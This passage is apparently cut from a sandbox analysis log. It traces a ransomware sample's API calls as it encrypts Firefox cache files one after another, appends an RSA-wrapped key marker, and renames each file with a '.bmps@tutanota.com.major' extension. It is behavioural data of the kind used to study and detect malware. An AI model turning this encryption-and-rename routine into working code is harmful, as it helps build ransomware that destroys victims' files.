lpOverlapped=0x0) returned 1 [0284.538] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.538] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0284.538] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2c2 [0284.538] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.538] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.539] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.539] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.539] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.539] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.539] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="gYdTCo+VmHWgABQNo8IMYv3yDf9biKlw8mhQ7/bLzxZmApkEyj1/driyD+6ESRmB\nTPGMzYQE5IlZrFGMmv08TbmI+yZ0iD+FIwhGwf6EjNDN4vGvIg/TjW7mgYrSyGoZ\nnLG0FO2g4/lF8BIFlrHMkxY/DkuMsqaMWdg/vFFr1QK7vz4NHCMRDjtpAy5BzxNQ\nrV8AluZWbsqJi6Sm9xQgYcn5kO7XJnaeHx1VbsTPWCJ/vSVFo+TELALhiqK7Rj78\n+E4dVW1mGcpqHZwUTpe7BC3IQp+WCOnGARY11kpIPA6Qnr/Q5BpCDwtQRTqygAo8\nirKxRlHkBVLw9imJKIWpDw==\n", pcchString=0x2e3f9a8) returned 1 [0284.539] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.539] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.539] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.539] CloseHandle (hObject=0x1b84) returned 1 [0284.539] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.539] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2AEEA30E1ABF20CE6EDCD6534789A8A96595E87A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2aeea30e1abf20ce6edcd6534789a8a96595e87a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2AEEA30E1ABF20CE6EDCD6534789A8A96595E87A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2aeea30e1abf20ce6edcd6534789a8a96595e87a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0284.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437fa8 | out: hHeap=0x570000) returned 1 [0284.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437978 | out: hHeap=0x570000) returned 1 [0284.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34386e0 [0284.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0284.541] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.542] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A7F9C218AF57C32B146B82864B7FBDB08B612DA", dwFileAttributes=0x80) returned 1 [0284.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34389f8 [0284.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.542] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34389f8 | out: hHeap=0x570000) returned 1 [0284.542] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A7F9C218AF57C32B146B82864B7FBDB08B612DA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a7f9c218af57c32b146b82864b7fbdb08b612da"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.542] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1236) returned 1 [0284.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d4) returned 0x66e948 [0284.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d4) returned 0x2f3e850 [0284.543] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0284.590] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.590] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0284.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0284.591] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0284.591] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d4 [0284.591] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.591] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.591] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.591] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.591] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.591] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.591] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="o16PY058J+2OvzdP/JRNayObHOUZ+I9wC3Li5hPhozbKYCTx+4UXATWGkdBpk7qf\naE1cUi7wAE+1wJVjpzMQrH3J+W+u4oHcO8xH80D4qqFxejQnOXxV0YlnhIljXkK1\n7MTjNHVjYSVb8iAPCCwcEClRf1nD5yTmvIz1oDFU9yqs2h36wgr3n2v688/K8jYA\nZioYWz88jP6/MKFb0Nb7nBw7wtwyQuiuQ06JiIDzzpIcRMsXET8BPGm1fQ8s38g9\nDcGzdjEkGDS0KV30b+iWS2ibp29Q9zo3059MF1qoS23SC2SEaKkBGJkT6uudxTFd\nD7Bz0+1l7siGIChhEtOBuQ==\n", pcchString=0x2e3f9a8) returned 1 [0284.591] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.591] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.591] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.592] CloseHandle (hObject=0x1b84) returned 1 [0284.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.592] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A7F9C218AF57C32B146B82864B7FBDB08B612DA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a7f9c218af57c32b146b82864b7fbdb08b612da"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A7F9C218AF57C32B146B82864B7FBDB08B612DA.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a7f9c218af57c32b146b82864b7fbdb08b612da.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.594] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.594] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0284.594] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34386e0 | out: hHeap=0x570000) returned 1 [0284.594] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437ea0 | out: hHeap=0x570000) returned 1 [0284.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34389f8 [0284.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6730 [0284.594] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.594] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A650CB5032027B0EF79F4B9916C5D43EEFEDB3A", dwFileAttributes=0x80) returned 1 [0284.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437348 [0284.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.594] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437348 | out: hHeap=0x570000) returned 1 [0284.595] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A650CB5032027B0EF79F4B9916C5D43EEFEDB3A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a650cb5032027b0ef79f4b9916c5d43eefedb3a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.595] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3585) returned 1 [0284.595] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe01) returned 0x3446048 [0284.595] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe01) returned 0x3439010 [0284.595] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe01, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe01, lpOverlapped=0x0) returned 1 [0284.596] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.596] WriteFile (in: hFile=0x1b84, lpBuffer=0x3439010*, nNumberOfBytesToWrite=0xe01, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe01, lpOverlapped=0x0) returned 1 [0284.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0284.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0284.596] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe01 [0284.597] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.597] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.597] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.597] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.597] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.597] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LzLJbCnb53fJZQyBRtbRJodqVHv84Rgfzsk1E88bbAwl0/dAvdoKG+fIcxmFNbTw\nnE5VtqP5f/9/wl2u9iu68xHSEK/TgUzF6R1eL7+Swhi95f9vHS4F0JW3oj1ln91+\n1vyqTN+jiIGvnglulGVxsJsN10SPL2D9+tYeZyTqT37eX8glBPukJeQwXTfH/juC\nUtzP4ZDuuaCuGq+pWZHSwa5resbd2HRtXDcQ7cwoHU1DdTyeZ9ZZ+/X1zM+IJiGT\n6IIWwRqijatafQeK/tSTOqk0ZO1tQCW6R/E2QPFCePsPEDcYGlVXcmA2uVb6zDt4\nKWqyRvr0igt2v5GVzkQNbw==\n", pcchString=0x2e3f9a8) returned 1 [0284.597] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.597] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.597] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.597] CloseHandle (hObject=0x1b84) returned 1 [0284.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.597] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A650CB5032027B0EF79F4B9916C5D43EEFEDB3A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a650cb5032027b0ef79f4b9916c5d43eefedb3a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A650CB5032027B0EF79F4B9916C5D43EEFEDB3A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a650cb5032027b0ef79f4b9916c5d43eefedb3a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6730 | out: hHeap=0x570000) returned 1 [0284.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34389f8 | out: hHeap=0x570000) returned 1 [0284.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437558 | out: hHeap=0x570000) returned 1 [0284.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34389f8 [0284.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0284.600] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.600] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A2631B4E21DE0654F50C86D5D9258EBDB245D08", dwFileAttributes=0x80) returned 1 [0284.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437660 [0284.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437660 | out: hHeap=0x570000) returned 1 [0284.601] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A2631B4E21DE0654F50C86D5D9258EBDB245D08" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a2631b4e21de0654f50c86d5d9258ebdb245d08"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.601] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4407) returned 1 [0284.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1137) returned 0x3439010 [0284.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1137) returned 0x2f39028 [0284.601] ReadFile (in: hFile=0x1b84, lpBuffer=0x3439010, nNumberOfBytesToRead=0x1137, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesRead=0x2e3f9b4*=0x1137, lpOverlapped=0x0) returned 1 [0284.767] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4407, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.767] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1137, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1137, lpOverlapped=0x0) returned 1 [0284.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0284.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0284.767] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1137 [0284.767] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.768] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.768] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.768] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.768] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.768] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vTnsz8jRw3M4Y3U22AIAMdX4AAWVtUifS1lh+7oScyvBWMk7/ucEbSWytV5REaDM\nH3tARMMYsTuKgzmd6UvntC+VwjgkdYWxVQ5TGc9BkbyJd4odhSaaRc+5+jak+tXn\n4vMZSu3GKOv6RiCwIlYfcCUdBFkJrxnmROhTE3A6QEgoECkK2EEJr0tMx9Fv5fSd\nqs7A51QKm0e7uKopKbmJZF2WnLbTd3+K5kgy/92JQIcpFvXmuXARYUmnNUNTUvDo\nccbz9AeybX+rXrztUCj2uH/Mf7ChetBiANzdN2mNIUUAvgv4y0WTzxmodlItFY7j\nkphMY6MPF/KFNC+rMkUzeQ==\n", pcchString=0x2e3f9a8) returned 1 [0284.768] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.768] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.768] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.768] CloseHandle (hObject=0x1b84) returned 1 [0284.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.768] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A2631B4E21DE0654F50C86D5D9258EBDB245D08" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a2631b4e21de0654f50c86d5d9258ebdb245d08"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A2631B4E21DE0654F50C86D5D9258EBDB245D08.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a2631b4e21de0654f50c86d5d9258ebdb245d08.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0284.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34389f8 | out: hHeap=0x570000) returned 1 [0284.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437450 | out: hHeap=0x570000) returned 1 [0284.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x65b290 [0284.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0284.771] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.771] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A0C541C7E9FC0F629A45F976215EB2A8AE994F3", dwFileAttributes=0x80) returned 1 [0284.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x65bad0 [0284.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65bad0 | out: hHeap=0x570000) returned 1 [0284.771] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A0C541C7E9FC0F629A45F976215EB2A8AE994F3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a0c541c7e9fc0f629a45f976215eb2a8ae994f3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.771] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4414) returned 1 [0284.772] 